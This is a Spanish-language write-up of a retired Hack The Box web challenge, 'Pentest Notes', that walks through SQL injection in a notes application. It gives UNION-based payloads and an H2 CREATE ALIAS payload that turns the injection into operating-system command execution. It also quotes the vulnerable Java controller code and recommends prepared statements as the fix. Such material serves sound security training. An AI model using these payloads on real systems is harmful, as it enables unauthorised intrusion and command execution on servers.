En este post estaremos resolviendo el challenge web llamado «Pentest Notes» de Hack The Box, calificado como Easy. Se trata de un challenge ya retirado.
Caja negra
Tras acceder a la web, vemos que se nos presenta un panel muy simple de login junto a un botón de registro. Siempre que se nos dé esta posibilidad en una web, nos registramos aunque debemos probar también cosas básicas como fuzzing de directorios, SQL Injection en login o mass assignment entre muchos otros.

Procedemos con el registro de manera sencilla y, tras crear el usuario, obtenemos acceso a un panel de notas con las credenciales recién creadas (este proceso no se ilustra porque es muy simple).

Si accedemos a cualquier nota, podemos ver que se utiliza una carga dinámica de las mismas en base a la siguiente URL:
http://94.237.49.128:36697/note?name=<nombrenota>

Además de lo anterior, evaluando las peticiones a través de Burp Suite, vemos que la URL anterior simplemente carga un código JavaScript que, a su vez, hace llamadas a una API para obtener el contenido de la nota.


Añadiendo una comilla simple y dos comillas simples, vemos que la aplicación parece vulnerable a inyección SQL:


Decimos la palabra «parece» porque no está confirmado, pero que dé un error 500 con un número de comillas impares y un código 200 con un número de comillas pares es muy sintomático de inyección SQL, al estar incluyendo las comillas en la consulta sin sanear. Procedemos a probar un payload típico de inyección SQL. Si tienes dudas sobre este punto, te recomiendo los laboratorios de PortSwigger, puesto que para explotar SQL a mano son geniales:
' UNION SELECT NULL,NULL,NULL-- -

Logramos obtener que la consulta inyectada debe tener 3 columnas, como la consulta original. Ahora, para conocer la base de datos subyacente podemos utilizar diferentes tipos de obtención de versión y aquella que funcione será. En este caso, es una base de datos H2:
' UNION SELECT 1,2,H2VERSION() FROM DUAL-- -

Ahora, conociendo la base de datos H2, procedemos a crear una función de ejecución de comandos y a usarla posteriormente. Esto se puede hacer para esta base de datos en particular y es muy potente ya que, como vemos, ejecutamos comandos de sistema:
' UNION CREATE ALIAS EXEC AS 'String e(String cmd) throws java.io.IOException { String[] c = {"/bin/bash","-c",cmd}; Process p = Runtime.getRuntime().exec(c); java.io.InputStream stdIn = p.getInputStream(); java.io.InputStreamReader isr = new java.io.InputStreamReader(stdIn); java.io.BufferedReader br = new java.io.BufferedReader(isr); String result = ""; String line = ""; while ((line = br.readLine()) != null) result += line; return result; }';-- -

Una vez creada, la ejecutamos obteniendo el listado de ficheros en la raíz:

Y, finalmente, obtenemos el flag con un simple «cat»:

Caja gris
A la vista del código fuente, es fácil identificar la vulnerabilidad de SQL Injection, dado que el parámetro se concatena sin sanear en la consulta SQL. El código vulnerable se encuentra en el fichero «NotesController.java», más concretamente en el mapping a la ruta «/note»:
@PostMapping("/note")
public ResponseEntity < ? > noteByName(@RequestParam String name, HttpSession httpSession) {
if (httpSession.getAttribute("username") == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("unauthorized");
}
if (name.contains("$") || name.toLowerCase().contains("concat")) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Bad character in name :)");
}
String query = String.format("Select * from notes where name ='%s' ", name);
List < Object[] > resultList = entityManager.createNativeQuery(query).getResultList();
List < Map < String, Object >> result = new ArrayList < > ();
for (Object[] row: resultList) {
Map < String, Object > rowMap = new HashMap < > ();
rowMap.put("ID", row[0]);
rowMap.put("Name", row[1]);
rowMap.put("Note", row[2]);
result.add(rowMap);
}
return ResponseEntity.ok(result);
}
Tal como se puede ver en negrita, la variable «name» procede de un parámetro definido por el usuario de la aplicación y se concatena directamente a la consulta SQL. Esto debe hacerse, en su lugar, con sentencias preparadas.
~km0xu95
Comments are closed.